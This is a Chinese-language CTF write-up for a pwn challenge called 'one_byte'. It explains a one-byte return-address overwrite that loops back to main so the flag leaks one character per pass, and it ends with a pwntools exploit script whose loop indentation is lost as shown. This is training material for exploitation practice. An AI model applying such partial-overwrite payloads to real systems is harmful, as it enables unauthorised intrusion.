开门见山,IDA查看代码
很容易发现程序会读取flag的第一个字符作为gift送出来,read可能存在溢出,对于能够溢出到的地址进行测试,具体gdb的界面就不放出了,因为这题溢出只影响到了一位所以建议用多组垃圾数据进行测试来确定溢出的偏移,由于溢出需要填充的字节很少,所以直接用字母表就好了
()很容易观察到整个地址没有被改变,只有最低位被改变了,实际做题时挺难注意到的,容易以为是溢出不了,多测试几组数据才能发现地址的最低位是可以控制的)
进行多次测试发现可以ret到的函数有libc_init_first,libc_start_call_main和libc_start_main的地址.当时做的时候翻了好多文档,想去找一个确切的可以直接jmp或ret到main的地址,但是libc文件代码属实是又臭又长,一直都没找到,最后解题的方法是暴力破解(经学姐提示),最后得到实际上ret到/x65,/x69,/x6c,/x71都是可以回到main函数的,payload编写如下
from pwn import*
p = process('./one_byte')
#p = remote('101.32.220.189',31549)
#gdb.attach(p)
main_addr = 0x11C9
payload = b'a' * 17 + b'\x71'#65-71
flag = '\n'
for i in range(80):
p.recvuntil(b'Here is your gift: ')
flag += p.recv(1).decode()
p.sendafter(b'the result?',payload)
print(flag)
p.interactive()
p.close()
江郎才尽的时候,暴力破解也未尝不是一条柳暗花明的破局之路